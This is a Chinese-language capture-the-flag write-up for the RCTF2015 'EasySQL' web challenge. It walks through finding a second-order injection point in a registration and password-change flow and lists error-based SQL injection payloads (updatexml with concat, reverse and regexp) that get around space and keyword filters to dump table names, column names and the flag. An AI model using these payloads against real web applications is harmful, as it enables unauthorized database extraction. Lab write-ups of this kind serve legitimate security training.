[RCTF2015]EasySQL
拿到题,先用bp爆破一下
结果没用,再进行sqlmap测试一下,额还是无果,扫一下目录(看看有木有新发现)
尝试了一下,没发现什么可以注入的地方 看了一下wp,里面提到在注册页面过滤了一些字符如:@,当注册进去时,在修改页面疑似二次注入
登陆进去发现显示11'有两种可能:
1、没有二次注入
2、还未触发sql二次注入
未发现注入,尝试用11"注册用户 改密码的地方修改密码为11"\后触发导致错误输出,有错误回显就可以使用报错注入
确认注入点在用户名,在注册页面进行fuzz测试,看看过滤了什么
知道过滤了哪些字符接下来就是构造payload
主要思想:报错注入 二次注入
从过滤的列表中发现,过滤了%20(即空格)、@、and
调整报错注入
payload:1" and (updatexml(1,concat(0x7e,(select(user())),0x7e),1))
e"||(updatexml(1,concat(0x7e,(select(user())),0x7e),1))
(2)database()
ce"||(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
(3)tables
ce"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#
(4)columns
ie"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=0x666c6167)),0x7e),1))#
(5)flag
qe"||(updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1))#
愣住,因为mid,left,right都被过滤,所以使用reverse函数,提取剩下的部分
qe"||(updatexml(1,concat(0x7e,(select(reverse(flag))from(flag)),0x7e),1))#
还是不对
想了一下试试从别的表找正真的flag
(1)users:
ie"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),0x7e),1))#
--> '~name,pwd,email,real_flag_1s_her'
(2)real_flag_1s_her
qe"||(updatexml(1,concat(0x7e,(select(real_flag_1s_her)from(users)),0x7e),1))#
--> Unknown column 'real_flag_1s_her' in 'field list'
猜测字段名就是real_flag_1s_here
qe"||(updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)),0x7e),1))#
qe"||(updatexml(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users)),0x7e),1))#
--> XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'
这里没有右边的~猜测右边还没有被解析出来reverse
qe"||(updatexml(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users)),0x7e),1))#
--> XPATH syntax error: '~xxx,xxx,}6666_n4f_si_n0itcejn1_'
得flag上半部分 {83b4880e-b532-493b-972c-f69e773
tt"||updatexml(0x7c,concat((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))),1)#
下半部分
test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#
最后一波
1 | }85972377e96f-c279-b394-235b-e0 |
我刚开始是在攻防世界做这道题的,前面做的好好的,到最后的时候就老是报错(搞了好久) 最后去BUUCTF做了,然后,一样的方法居然行了,嗯......懂了吧